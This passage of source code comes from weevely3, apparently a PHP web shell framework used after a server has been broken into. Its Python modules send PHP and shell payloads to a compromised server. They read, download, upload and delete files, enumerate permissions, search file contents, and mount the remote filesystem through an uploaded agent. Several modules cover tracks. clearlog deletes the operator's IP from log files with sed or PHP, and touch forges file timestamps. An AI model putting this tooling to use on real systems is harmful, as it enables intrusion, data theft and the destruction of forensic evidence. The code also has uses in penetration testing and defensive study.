execution returns something only on errors result_err = self.vectors.get_result( name = 'php_bzip2', format_args = self.args, ) if result_err: log.warning(result_err) return return True epinna-weevely3-445bd88/modules/file/cd.py000066400000000000000000000034301444353330400204230ustar00rootroot00000000000000from core.vectors import PhpCode, ModuleExec from core.module import Module from core import messages from core.loggers import log import random class Cd(Module): """Change current working directory.""" aliases = [ 'cd' ] def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_arguments([ { 'name' : 'dir', 'help' : 'Target folder', 'nargs' : '?' } ]) def run(self, **kwargs): # When no folder is specified, change folder to SCRIPT_NAME to # simulate the bash behaviour. If not available, use current dir. if not self.args.get('dir'): script_folder = ModuleExec( 'system_info', [ '-info', 'script_folder' ] ).load_result_or_run( result_name = 'script_folder' ) self.args['dir'] = script_folder if script_folder else '.' # The execution and result storage is done manually cause # no result has to be stored if the execution fails. This # is not simple to implement using # self.vectors.get_result(.., store_result). folder = PhpCode("""@chdir('${dir}')&&print(@getcwd());""", "chdir").run( self.args ) if folder: self._store_result('cwd', folder) else: log.warning( messages.module_file_cd.failed_directory_change_to_s % (self.args['dir']) ) def run_alias(self, line, cmd): # Run this alias independently from the shell_sh status return self.run_cmdline(line) epinna-weevely3-445bd88/modules/file/check.py000066400000000000000000000046421444353330400211200ustar00rootroot00000000000000from core.vectors import PhpCode from core.module import Module import datetime import utils class Check(Module): """Get attributes and permissions of a file.""" def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) # Declared here since is used by multiple vectors payload_perms = ( "$f='${rpath}';if(@file_exists($f)){print('e');if(@is_readable($f))print('r');" + "if(@is_writable($f))print('w');if(@is_executable($f))print('x');}" ) self.register_vectors( [ PhpCode(payload_perms, 'exists', postprocess=lambda x: True if 'e' in x else False), PhpCode("print(md5_file('${rpath}'));", 'md5'), PhpCode(payload_perms, 'perms'), PhpCode(payload_perms, 'readable', postprocess=lambda x: True if 'r' in x else False), PhpCode(payload_perms, 'writable', postprocess=lambda x: True if 'w' in x else False), PhpCode(payload_perms, 'executable', postprocess=lambda x: True if 'x' in x else False), PhpCode("print(is_file('${rpath}') ? 1 : 0);", 'file', postprocess=lambda x: True if x == '1' else False), PhpCode("print(is_dir('${rpath}') ? 1 : 0);", 'dir', postprocess=lambda x: True if x == '1' else False), PhpCode("print(filesize('${rpath}'));", 'size', postprocess=lambda x: utils.prettify.format_size(int(x))), PhpCode("print(filemtime('${rpath}'));", 'time', postprocess=lambda x: int(x)), PhpCode("print(filemtime('${rpath}'));", 'datetime', postprocess=lambda x: datetime.datetime.fromtimestamp(float(x)).strftime('%Y-%m-%d %H:%M:%S')), PhpCode("print(realpath('${rpath}'));", 'abspath') ] ) self.register_arguments([ {'name': 'rpath', 'help': 'Target path'}, {'name': 'check', 'choices': self.vectors.get_names()}, ]) def run(self, **kwargs): return self.vectors.get_result( name=self.args['check'], format_args=self.args ) epinna-weevely3-445bd88/modules/file/clearlog.py000066400000000000000000000026041444353330400216270ustar00rootroot00000000000000from core.vectors import ShellCmd, PhpCode from core.module import Module class Clearlog(Module): """Remove string from a file.""" def init(self): self.register_info( { 'author': [ 'appo' ], 'license': 'GPLv3' } ) self.register_vectors( [ PhpCode("""$fc=file("${file}"); $f=fopen("${file}","w"); foreach($fc as $line) { if (!strstr($line,"${ip}")) fputs($f,$line); } fclose($f);""", name = "php_clear" ), ShellCmd("""sed -i /${ip}/d ${file}""", name = "clearlog" ), ShellCmd("""sed /${ip}/d ${file} > ${file}.$$ && /bin/mv ${file}.$$ ${file}""", name = "old_school" ) ] ) self.register_arguments([ { 'name' : 'ip', 'help' : 'Your IP' }, { 'name' : 'file', 'help' : 'File to Clear' }, { 'name' : '-vector', 'choices' : self.vectors.get_names(), 'default' : "clearlog" }, ]) def run(self, **kwargs): return self.vectors.get_result( name = self.args['vector'], format_args = self.args ) epinna-weevely3-445bd88/modules/file/cp.py000066400000000000000000000030411444353330400204350ustar00rootroot00000000000000from core.vectors import PhpCode, ShellCmd, ModuleExec, Os from core.module import Module from core import modules class Cp(Module): """Copy single file.""" aliases = [ 'cp', 'copy' ] def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_vectors( [ PhpCode( "(@copy('${srcpath}', '${dstpath}')&&print(1))||print(0);", name = 'php_copy' ), PhpCode( "(@file_put_contents('${dstpath}', file_get_contents('${srcpath}'))&&print(1))||print(0);", name = 'php_file_contents' ), ShellCmd( "cp '${srcpath}' '${dstpath}' && echo 1 || echo 0", name = 'sh_cp', target = Os.NIX ), ] ) self.register_arguments([ { 'name' : 'srcpath', 'help' : 'Remote source file path' }, { 'name' : 'dstpath', 'help' : 'Remote destination file path' }, { 'name' : '-vector', 'choices' : self.vectors.get_names() } ]) def run(self, **kwargs): vector_name, result = self.vectors.find_first_result( names = [ self.args.get('vector') ], format_args = self.args, condition = lambda result: True if result == '1' else False ) if vector_name and result: return True return False epinna-weevely3-445bd88/modules/file/download.py000066400000000000000000000057731444353330400216600ustar00rootroot00000000000000from core.vectors import PhpCode, ShellCmd, ModuleExec, Os from core.module import Module from core import messages from core.loggers import log import random import hashlib import base64 class Download(Module): """Download file from remote filesystem.""" def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_vectors( [ PhpCode( "print(@base64_encode(implode('',@file('${rpath}'))));", name = 'file' ), PhpCode( "$f='${rpath}';print(@base64_encode(fread(fopen($f,'rb'),filesize($f))));", name = 'fread' ), PhpCode( "print(@base64_encode(file_get_contents('${rpath}')));", name = 'file_get_contents' ), ShellCmd( "base64 -w 0 ${rpath} 2>/dev/null", name = 'base64', target = Os.NIX ), ] ) self.register_arguments([ { 'name' : 'rpath', 'help' : 'Remote file path' }, { 'name' : 'lpath', 'help' : 'Local file path' }, { 'name' : '-vector', 'choices' : self.vectors.get_names(), 'default' : 'file' } ]) def run(self, **kwargs): # Check remote file existance if not ModuleExec('file_check', [ self.args.get('rpath'), 'readable' ]).run(): log.warning(messages.module_file_download.failed_download_file) return # Get the remote file MD5. If this is not available, still do a basic check # to see if the output is decodable as base64 string. expected_md5 = ModuleExec('file_check', [ self.args.get('rpath'), 'md5' ]).run() if expected_md5: check_md5 = lambda r: r != None and hashlib.md5(base64.b64decode(r)).hexdigest() == expected_md5 else: log.debug(messages.module_file_download.skipping_md5_check) check_md5 = lambda r: r != None and bool(base64.b64decode(r)) # Find the first vector that satisfy the md5 check vector_name, result = self.vectors.find_first_result( format_args = self.args, condition = check_md5 ) # Check if find_first_result failed if not vector_name: log.warning(messages.module_file_download.failed_download_file) return # Dump to local file lpath = self.args.get('lpath') try: result_decoded = base64.b64decode(result) with open(lpath, 'wb') as resultfile: resultfile.write(result_decoded) except Exception as e: log.warning( messages.generic.error_loading_file_s_s % (lpath, str(e))) return return result_decoded def print_result(self, result): """Override print_result to avoid to print the content""" pass epinna-weevely3-445bd88/modules/file/edit.py000066400000000000000000000063051444353330400207660ustar00rootroot00000000000000from core.vectors import PhpCode, ShellCmd, ModuleExec, Os from core.module import Module from core.loggers import log from core import modules from core import messages import tempfile import subprocess import hashlib import base64 import re class Edit(Module): """Edit remote file on a local editor.""" aliases = [ 'vi', 'vim', 'emacs', 'nano', 'pico', 'gedit', 'kwrite' ] def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_arguments([ { 'name' : 'rpath', 'help' : 'Remote file path' }, { 'name' : '-vector', 'choices' : ( 'file', 'fread', 'file_get_contents', 'base64' ) }, { 'name' : '-keep-ts', 'action' : 'store_true', 'default' : False }, { 'name' : '-editor', 'help' : 'Choose editor', 'default' : 'vim' } ]) def run(self, **kwargs): # Get a temporary file name suffix = re.sub('[\W]+', '_', self.args['rpath']) temp_file = tempfile.NamedTemporaryFile(suffix = suffix) lpath = temp_file.name # Keep track of the old timestamp if requested if self.args['keep_ts']: timestamp = ModuleExec( 'file_check', [ self.args.get('rpath'), 'time' ] ).run() # If remote file already exists and readable if ModuleExec( 'file_check', [ self.args.get('rpath'), 'readable' ] ).run(): # Download file result_download = ModuleExec( 'file_download', [ self.args.get('rpath'), lpath ] ).run() # Exit with no result # The error should already been printed by file_download exec if result_download == None: return # Store original md5 md5_orig = hashlib.md5(open(lpath, 'rb').read()).hexdigest() # Run editor subprocess.check_call( [ self.args['editor'], lpath ]) # With no changes, just return if md5_orig == hashlib.md5(open(lpath, 'rb').read()).hexdigest(): log.debug(messages.module_file_edit.unmodified_file) temp_file.close() return else: subprocess.check_call( [ self.args['editor'], lpath ]) # Upload file result_upload = ModuleExec( 'file_upload', [ '-force', lpath, self.args.get('rpath') ] ).run() # Reset original timestamp if requested if self.args['keep_ts']: ModuleExec( 'file_touch', [ self.args.get('rpath'), '-epoch-ts', str(timestamp) ] ).run() # Delete temp file temp_file.close() return result_upload def run_alias(self, line, cmd): # Run this alias independently from the shell_sh status. # Also, set the proper editor to run return self.run_cmdline('%s -editor %s' % (line, cmd)) epinna-weevely3-445bd88/modules/file/enum.py000066400000000000000000000042641444353330400210070ustar00rootroot00000000000000from core.vectors import PhpCode, ShellCmd, ModuleExec, Os from core.module import Module from core import modules from core import messages from core.loggers import log class Enum(Module): """Check existence and permissions of a list of paths.""" def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_arguments([ { 'name' : 'paths', 'help' : 'One or more paths', 'nargs' : '*' }, { 'name' : '-lpath-list', 'help' : 'The local file containing the list of paths' }, { 'name' : '-print', 'help' : 'Print the paths not found too', 'action' : 'store_true', 'default' : False } ]) def run(self, **kwargs): paths = [] lpath = self.args.get('lpath_list') if lpath: try: with open(lpath, 'r') as lfile: paths = lfile.read().split('\n') except Exception as e: log.warning( messages.generic.error_loading_file_s_s % (lpath, str(e))) return paths += self.args.get('paths') if self.args.get('paths') else [] results = {} for path in paths: result = ModuleExec( "file_check", [ path, "perms" ]).run() if result or self.args.get('print'): results[path] = result return results def print_result(self, result): if not result: return result_verbose = {} for path, perms in result.items(): if len(perms) == 1 and perms[0] == 'e': result_verbose[path] = 'exists' else: verbose_string = ' '.join([ 'writable' if 'w' in perms else '', 'readable' if 'r' in perms else '', 'executable' if 'x' in perms else '' ]) # Re split to delete multiple whitespaces result_verbose[path] = ' '.join( verbose_string.strip().split() ) return Module.print_result(self, result_verbose) epinna-weevely3-445bd88/modules/file/find.py000066400000000000000000000047071444353330400207650ustar00rootroot00000000000000from core.vectors import PhpFile, ShellCmd from core.module import Module from core.loggers import log from core import messages import random import os class Find(Module): """Find files with given names and attributes.""" aliases = [ 'find' ] def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_vectors( [ PhpFile( payload_path = os.path.join(self.folder, 'bfs_walker.tpl'), name = 'php_find', ), ShellCmd( # -print -quit must be at the end of the command payload = """find ${rpath} ${ '-maxdepth 1' if no_recursion else '' } ${ '-writable' if writable else '' } ${ '-readable' if readable else '' } ${ '-executable' if executable else '' } ${ '-type %s' % (ftype) if (ftype == 'd' or ftype == 'f') else '' } ${ "-%sregex '.*%s.*'" % ( '' if case else 'i', expression) if expression else '' } ${ '-print -quit' if quit else '' }""", name = "sh_find", arguments = [ "-stderr_redirection", " 2>/dev/null", ] ) ] ) self.register_arguments([ { 'name' : 'rpath', 'help' : 'Starting path' }, { 'name' : 'expression', 'help' : 'Regular expression to match file name', 'nargs' : '?' }, { 'name' : '-quit', 'action' : 'store_true', 'default' : False, 'help' : 'Quit at first result' }, { 'name' : '-writable', 'action' : 'store_true' }, { 'name' : '-readable', 'action' : 'store_true' }, { 'name' : '-executable', 'action' : 'store_true' }, { 'name' : '-ftype', 'help' : 'File type', 'choices' : ( 'f', 'd' ) }, { 'name' : '-no-recursion', 'action' : 'store_true', 'default' : False }, { 'name' : '-vector', 'choices' : self.vectors.get_names(), 'default' : 'php_find' }, { 'name' : '-case', 'help' : 'Case sensitive', 'action' : 'store_true', 'default' : False }, ]) def run(self, **kwargs): result = self.vectors.get_result( self.args['vector'], self.args ) return result.rstrip().split('\n') if isinstance(result, str) else result def print_result(self, result): if result: log.info('\n'.join(result)) epinna-weevely3-445bd88/modules/file/grep.py000066400000000000000000000136141444353330400207770ustar00rootroot00000000000000from core.vectors import PhpCode, ShellCmd, ModuleExec, Os from core.module import Module from core.loggers import log from core import messages from core import modules class Grep(Module): """Print lines matching a pattern in multiple files.""" aliases = [ 'grep' ] def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) # The grep action is done using multiple request. # First search for writable file, and then execute the grep # code for every found file. This allows to reuse code in # find_perm module and reduce the chances of timeout. self.register_vectors( [ ShellCmd( payload = "grep ${ '' if case else '-i' } ${ '-v' if invert else '' } -e '${regex}' '${rfile}'", name = "grep_sh", arguments = [ "-stderr_redirection", " 2>/dev/null", ] ), PhpCode( payload = """% if invert: $m=file_get_contents("${rfile}");$a=preg_replace("/${'' if regex.startswith('^') else '.*' }${regex.replace('/','\/')}${'' if regex.endswith('$') else '.*' }".PHP_EOL."?/m${ '' if case else 'i'}","",$m);if($a)print($a); % else: $m=Array();preg_match_all("/${'' if regex.startswith('^') else '.*' }${regex.replace('/','\/')}${'' if regex.endswith('$') else '.*' }/m${ '' if case else 'i'}",file_get_contents('${rfile}'),$m);if($m) print(implode(PHP_EOL,$m[0])); % endif""", name = "grep_php" ) ] ) self.register_arguments([ { 'name' : 'rpath', 'help' : 'Path. If is a folder grep all the contained files.' }, { 'name' : 'regex', 'help' : 'Regular expression to match file name' }, { 'name' : '-case', 'help' : 'Search case sensitive expression', 'action' : 'store_true', 'default' : False }, { 'name' : '-name-regex', 'help' : 'Regular expression to match file name to grep' }, { 'name' : '-no-recursion', 'action' : 'store_true', 'default' : False }, { 'name' : '-output', 'help' : 'Redirect output to remote file' }, { 'name' : '-v', 'dest' : 'invert', 'action' : 'store_true', 'default' : False, 'help' : 'Invert matching to select non-matching lines' }, { 'name' : '-local', 'action' : 'store_true', 'default' : False, 'help' : 'Save redirected output locally' }, { 'name' : '-vector', 'choices' : self.vectors.get_names(), 'default' : 'grep_php' }, ]) def run(self, **kwargs): files = [] if ModuleExec("file_check", [ self.args['rpath'], 'dir' ]).run(): # If remote path is a folder, harvest all the readable # files wih given name-regex # Prepare the arguments for file_find file_find_args = [ '-readable', self.args['rpath'], '-ftype', 'f' ] if self.args.get('name_regex'): file_find_args += [ '-name-regex', self.args.get('name_regex') ] if self.args.get('no_recursion'): file_find_args += [ '-no-recursion' ] files = ModuleExec("file_find", file_find_args).run() elif (ModuleExec("file_check", [ self.args['rpath'], 'file' ]).run() and ModuleExec("file_check", [ self.args['rpath'], 'readable' ]).run()): # If the remote path is a readable file, just store the path files = [ self.args['rpath'] ] # Validate files presence if not isinstance(files, list) or not files: log.warning(messages.module_file_grep.failed_retrieve_info) return None, False # Store the found data in data dictionary in the # form `{ filename : [ line1, line2, ... ] }` # and store them as string whether requested results = {} output_str = '' output_path = self.args.get('output') for rfile in files: result_str = self.vectors.get_result( self.args['vector'], { 'regex' : self.args['regex'], 'rfile' : rfile, 'case' : self.args['case'], 'invert' : self.args['invert'] } ) # Both grep_sh and grep_php -v trail a \n, this should work fine result_str = result_str[:-1] if result_str and result_str.endswith('\n') else result_str result_list = result_str.split('\n') if isinstance(result_str, str) and result_str else [] # This means the command returned something something if result_list: if output_path: # If output is redirected, just append to output_str output_str += result_str else: # Else, print it out if len(files) > 1: # Print filepath:line if there are multiple files for line in result_list: log.info('%s:%s' % ( rfile, line )) else: # Else, just print the lines log.info('\n'.join(result_list)) results[rfile] = result_list # Save output to file whether specified saved = False if output_path: if not self.args.get('local'): saved = ModuleExec('file_upload', [ '-content', result_str, output_path ]).run() else: try: with open(output_path, 'wb') as outputfile: outputfile.write(result_str.encode('utf-8')) except Exception as e: log.warning( messages.generic.error_loading_file_s_s % (output_path, str(e))) else: saved = True return results, saved def print_result(self, result): pass epinna-weevely3-445bd88/modules/file/gzip.py000066400000000000000000000025121444353330400210060ustar00rootroot00000000000000from core.vectors import PhpFile, ModuleExec from core.module import Module from core import messages from core import modules from core.loggers import log import os class Gzip(Module): """Compress or expand gzip files.""" aliases = [ 'gzip', 'gunzip' ] def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_vectors( [ PhpFile( payload_path = os.path.join(self.folder, 'php_gzip.tpl'), name = 'php_gzip', ) ] ) self.register_arguments([ { 'name' : 'rpaths', 'help' : 'Remote file paths', 'nargs' : '+' }, { 'name' : '--decompress', 'action' : 'store_true', 'default' : False, 'help' : 'Simulate gunzip' }, { 'name' : '--keep', 'action' : 'store_true', 'default' : False, 'help' : 'Keep (don\'t delete) input files' }, ]) def run(self, **kwargs): # The correct execution returns something only on errors result_err = self.vectors.get_result( name = 'php_gzip', format_args = self.args, ) if result_err: log.warn(result_err) return return True epinna-weevely3-445bd88/modules/file/ls.py000066400000000000000000000021661444353330400204600ustar00rootroot00000000000000from core.vectors import PhpCode from core.module import Module from core.loggers import log from core import messages import random class Ls(Module): """List directory content.""" aliases = [ 'ls', 'dir' ] def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_arguments([ { 'name' : 'dir', 'help' : 'Target folder', 'nargs' : '?', 'default' : '.' } ]) def run(self, **kwargs): return PhpCode(""" $p="${dir}"; if(@is_dir($p)){ $d=@opendir($p); $a=array(); if($d){ while(($f=@readdir($d))) $a[]=$f; sort($a); print(join(PHP_EOL,$a)); } }""", postprocess = lambda x: x.split('\n') if x else [] ).run(self.args) def print_result(self, result): if result: log.info('\n'.join(result)) epinna-weevely3-445bd88/modules/file/mount.py000066400000000000000000000065251444353330400212070ustar00rootroot00000000000000from core.vectors import ModuleExec from core.module import Module, Status from core import modules from core import messages from core.loggers import log from distutils import spawn from mako import template import tempfile import subprocess import atexit class Mount(Module): """Mount remote filesystem using HTTPfs.""" def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_arguments([ { 'name' : '-rpath', 'help' : 'Remote web path where to save the agent. If it is a folder find the first writable folder in it', 'default' : '.' }, { 'name' : '-httpfs-binary', 'default' : 'httpfs' }, { 'name' : '-no-autoremove', 'action' : 'store_true', 'default' : False, 'help' : 'Do not autoremove on exit' } ]) def run(self, **kwargs): # Check binary binary_path = spawn.find_executable( self.args['httpfs_binary'] ) if not binary_path: log.error( messages.module_file_mount.httpfs_s_not_found % self.args['httpfs_binary'] ) return # Generate PHP agent try: status = 0 agent = subprocess.check_output( [ binary_path, 'generate', 'php' ] ) except subprocess.CalledProcessError as e: status = e.returncode agent = '' if status or not agent: log.error( messages.module_file_mount.error_generating_agent ) return # Save temporary PHP agent, and upload it temp_file = tempfile.NamedTemporaryFile( suffix = '.php', prefix = '', delete = False ) temp_file.write(agent) # Without this flush() uploads only a # portion of the file temp_file.flush() result = ModuleExec( 'file_upload2web', [ temp_file.name, self.args['rpath'] ] ).run() temp_file.close() if ( not result or not result[0] or len(result[0]) != 2 or not result[0][0] or not result[0][1] ): log.error( messages.module_file_mount.failed_agent_upload ) return self.args.update({ 'agent_abs_path' : result[0][0], 'agent_url' : result[0][1] }) log.warn( template.Template( messages.module_file_mount.agent_installed_tutorial ).render(**self.args) ) if self.args['no_autoremove']: log.warn(messages.module_file_mount.httpfs_agent_manually_remove_s % (result[0][0])) else: log.warn(messages.module_file_mount.httpfs_agent_removed) atexit.register( ModuleExec('file_rm', [ result[0][0] ] ).run ) epinna-weevely3-445bd88/modules/file/read.py000066400000000000000000000023041444353330400207470ustar00rootroot00000000000000from core.vectors import PhpCode, ShellCmd, ModuleExec, Os from core.module import Module from core import modules import tempfile class Read(Module): """Read remote file from the remote filesystem.""" aliases = [ 'cat' ] def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_arguments([ { 'name' : 'rpath', 'help' : 'Remote file path' }, { 'name' : '-vector', 'choices' : ( 'file', 'fread', 'file_get_contents', 'base64' ) } ]) def run(self, **kwargs): # Get a temporary file name temp_file = tempfile.NamedTemporaryFile() self.args['lpath'] = temp_file.name arg_vector = [ '-vector', self.args.get('vector') ] if self.args.get('vector') else [] # Run file_download result = ModuleExec( 'file_download', [ self.args.get('rpath'), '${lpath}' ] + arg_vector, name = 'file_download' ).run(self.args) # Delete temp file temp_file.close() return result epinna-weevely3-445bd88/modules/file/rm.py000066400000000000000000000013511444353330400204530ustar00rootroot00000000000000from core.vectors import PhpCode, ShellCmd, ModuleExec, Os from core.module import Module from core import modules class Rm(Module): """Remove remote file.""" aliases = [ 'rm' ] def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_arguments([ { 'name' : 'rpath', 'help' : 'Remote file path' } ]) def run(self, **kwargs): # Run unlink return PhpCode("""(unlink('${rpath}') && print(1)) || print(0);""", postprocess = lambda x: True if x == '1' else False ).run(self.args) epinna-weevely3-445bd88/modules/file/tar.py000066400000000000000000000040271444353330400206260ustar00rootroot00000000000000from core.vectors import PhpFile, ModuleExec from core.module import Module from core.loggers import log import os class Tar(Module): """Compress or expand tar archives.""" aliases = [ 'tar' ] def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_vectors( [ PhpFile( payload_path = os.path.join(self.folder, 'php_tar.tpl'), name = 'php_tar', ) ] ) self.register_arguments([ { 'name' : 'rtar', 'help' : 'Remote Tar file' }, { 'name' : 'rfiles', 'help' : 'Remote files to compress. If decompressing, set destination folder.', 'nargs' : '+' }, { 'name' : '-x', 'dest': 'decompress', 'action' : 'store_true', 'default' : False, 'help' : 'Extract/decompress' }, { 'name' : '-o', 'dest': 'overwrite', 'action' : 'store_true', 'default' : False, 'help' : 'Overwrite' }, { 'name' : '-z', 'action' : 'store_true', 'default' : False, 'help' : 'Simulate tar -xz for gzip compressed archives' }, { 'name' : '-j', 'action' : 'store_true', 'default' : False, 'help' : 'Simulate tar -xj for bzip2 compressed archives' }, ]) def run(self, **kwargs): if self.args.get('z'): ModuleExec('file_gzip', [ '--keep', '--decompress', self.args['rtar'] ]).run() self.args['rtar'] = '.'.join(self.args['rtar'].split('.')[:-1]) elif self.args.get('j'): ModuleExec('file_bzip2', [ '--keep', '--decompress', self.args['rtar'] ]).run() self.args['rtar'] = '.'.join(self.args['rtar'].split('.')[:-1]) # The correct execution returns something only on errors result_err = self.vectors.get_result( name = 'php_tar', format_args = self.args, ) if result_err: log.warn(result_err) return return True epinna-weevely3-445bd88/modules/file/touch.py000066400000000000000000000074531444353330400211700ustar00rootroot00000000000000from core.vectors import PhpCode, ShellCmd, ModuleExec, Os from core.module import Module from core import messages from core.loggers import log import dateutil.parser import datetime import time import random import hashlib import base64 import os class Touch(Module): """Change file timestamp.""" aliases = [ 'touch' ] def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_vectors( [ PhpCode( "touch('${rpath}', ${epoch_ts});", name = 'php_touch' ), ShellCmd( "touch -d @${epoch_ts} '${rpath}'", name = 'sh_touch', target = Os.NIX ), ] ) self.register_arguments([ { 'name' : 'rpath', 'help' : 'Remote file path' }, { 'name' : '-epoch-ts', 'help' : 'Epoch timestamp', 'type' : int }, { 'name' : '-human-ts', 'help' : 'Human readable timestamp e.g. \'2004-02-29 16:21:42\' or \'16:21\'' }, { 'name' : '-file-ts', 'help' : 'Clone timestamp from another file' }, { 'name' : '-oldest-file-ts', 'help' : 'Clone timestamp from the oldest file in the same folder', 'action' : 'store_true', 'default' : False }, { 'name' : '-vector', 'choices' : self.vectors.get_names(), 'default' : 'php_touch' } ]) def run(self, **kwargs): # Handle the cloning of the oldest timestamp in folder if self.args.get('oldest_file_ts'): # TODO: This works only in remote unix environment, fix it. folder = ( os.path.split(self.args['rpath'])[0] if os.path.sep in self.args['rpath'] else '.' ) file_list = [ os.path.join(folder, f) for f in ModuleExec('file_ls', [ folder ]).run() ] for file in file_list: file_time = ModuleExec('file_check', [ file, 'time' ]).run() self.args['epoch_ts'] = ( file_time if ( not self.args.get('epoch_ts') or file_time < self.args.get('epoch_ts') ) else None ) # Handle to get timestamp from another file elif self.args.get('file_ts'): self.args['epoch_ts'] = ModuleExec('file_check', [ self.args['file_ts'], 'time' ]).run() # Handle to get an human readable timestamp elif self.args.get('human_ts'): try: self.args['epoch_ts'] = int( time.mktime( dateutil.parser.parse(self.args['human_ts'], yearfirst=True).timetuple() ) ) except: log.warn(messages.module_file_touch.error_invalid_timestamp_format) return if not self.args.get('epoch_ts'): log.warn(messages.module_file_touch.error_source_timestamp_required) return self.vectors.get_result(self.args['vector'], self.args) # Verify execution if not self.args['epoch_ts'] == ModuleExec('file_check', [ self.args.get('rpath'), 'time' ]).run(): log.warn(messages.module_file_touch.failed_touch_file) return return self.args['epoch_ts'] def print_result(self, result): """Override print_result to print timestamp in an human readable form""" if result: log.info('New timestamp: %s' % datetime.datetime.fromtimestamp(result).strftime('%Y-%m-%d %H:%M:%S') ) epinna-weevely3-445bd88/modules/file/upload.py000066400000000000000000000056521444353330400213310ustar00rootroot00000000000000from core.vectors import PhpCode, ModuleExec from core.module import Module from core import messages from core.loggers import log import random import hashlib import base64 class Upload(Module): """Upload file to remote filesystem.""" def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_vectors( [ PhpCode( "(file_put_contents('${rpath}',base64_decode('${content}'))&&print(1))||print(0);", name = 'file_put_contents' ), PhpCode( """($h=fopen("${rpath}","a+")&&fwrite($h,base64_decode('${content}'))&&fclose($h)&&print(1))||print(0);""", name = "fwrite" ) ] ) self.register_arguments([ { 'name' : 'lpath', 'help' : 'Local file path', 'nargs' : '?' }, { 'name' : 'rpath', 'help' : 'Remote file path' }, { 'name' : '-force', 'help' : 'Force overwrite', 'action' : 'store_true', 'default' : False }, { 'name' : '-content', 'help' : 'Optionally specify the file content'}, { 'name' : '-vector', 'choices' : self.vectors.get_names(), 'default' : 'file_put_contents' } ]) def run(self, **kwargs): content_orig = self.args.get('content') if content_orig == None: # Load local file lpath = self.args.get('lpath') if not lpath: log.warning(messages.module_file_upload.error_content_lpath_required) return try: with open(lpath, 'rb') as contentfile: content_orig = contentfile.read() except Exception as e: log.warning( messages.generic.error_loading_file_s_s % (lpath, str(e))) return else: content_orig = content_orig.encode('utf-8') self.args['content'] = base64.b64encode(content_orig).decode('utf-8') # Check remote file existence if not self.args['force'] and ModuleExec('file_check', [ self.args['rpath'], 'exists' ]).run(): log.warning(messages.generic.error_file_s_already_exists % self.args['rpath']) return vector_name, result = self.vectors.find_first_result( format_args = self.args, condition = lambda result: True if result == '1' else False ) if not ModuleExec('file_check', [ self.args['rpath'], 'exists' ]).run(): log.warning(messages.module_file_upload.failed_upload_file) return if not ( ModuleExec('file_check', [ self.args['rpath'], 'md5' ]).run() == hashlib.md5(content_orig).hexdigest() ): log.warning(messages.module_file_upload.failed_md5_check) return return True epinna-weevely3-445bd88/modules/file/upload2web.py000066400000000000000000000115611444353330400221050ustar00rootroot00000000000000from core.vectors import PhpCode, ShellCmd, ModuleExec, Os from core.module import Module from core import modules from core import messages from core.loggers import log import urllib.parse import os class Upload2web(Module): """Upload file automatically to a web folder and get corresponding URL.""" def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_arguments([ { 'name' : 'lpath', 'help' : 'Local file path. Set remote file name when used with -content.' }, { 'name' : 'rpath', 'help' : 'Remote path. If it is a folder find the first writable folder in it', 'default' : '.', 'nargs' : '?' }, { 'name' : '-content', 'help' : 'Optionally specify the file content'}, { 'name' : '-simulate', 'help' : 'Just return the positions without uploading any content', 'action' : 'store_true', 'default' : False }, ]) def _get_env_info(self, script_url): script_folder = ModuleExec('system_info', [ '-info', 'script_folder' ]).load_result_or_run('script_folder') if not script_folder: return script_url_splitted = urllib.parse.urlsplit(script_url) script_url_path_folder, script_url_path_filename = os.path.split( script_url_splitted.path) url_folder_pieces = script_url_path_folder.split(os.sep) folder_pieces = script_folder.split(os.sep) for pieceurl, piecefolder in zip(reversed(url_folder_pieces), reversed(folder_pieces)): if pieceurl == piecefolder: folder_pieces.pop() url_folder_pieces.pop() else: break base_url_path_folder = os.sep.join(url_folder_pieces) self.base_folder_url = urllib.parse.urlunsplit( script_url_splitted[:2] + (base_url_path_folder, ) + script_url_splitted[3:]) self.base_folder_path = os.sep.join(folder_pieces) def _map_folder2web(self, relative_path_folder='.'): absolute_path = ModuleExec('file_check', [ relative_path_folder, 'abspath' ]).run() if not absolute_path: log.warn(messages.module_file_upload2web.failed_resolve_path) return None, None if not absolute_path.startswith(self.base_folder_path.rstrip('/')): log.warn(messages.module_file_upload2web.error_s_not_under_webroot_s % ( absolute_path, self.base_folder_path.rstrip('/')) ) return None, None relative_to_webroot_path = absolute_path.replace( self.base_folder_path, '' ) url_folder = '%s/%s' % (self.base_folder_url.rstrip('/'), relative_to_webroot_path.lstrip('/')) return absolute_path, url_folder def _map_file2web(self, relative_path_file): relative_path_folder, filename = os.path.split(relative_path_file) if not relative_path_folder: relative_path_folder = './' absolute_path_folder, url_folder = self._map_folder2web( relative_path_folder) if not absolute_path_folder or not url_folder: return None, None absolute_path_file = os.path.join(absolute_path_folder, filename) url_file = os.path.join(url_folder, filename) return absolute_path_file, url_file def run(self, **kwargs): file_upload_args = [ self.args['rpath'] ] content = self.args.get('content') lpath = self.args.get('lpath') self._get_env_info(self.session['url']) if not self.base_folder_url or not self.base_folder_path: log.warn(messages.module_file_upload2web.failed_retrieve_info) # If remote path is a folder, get first writable folder if ModuleExec("file_check", [ self.args['rpath'], 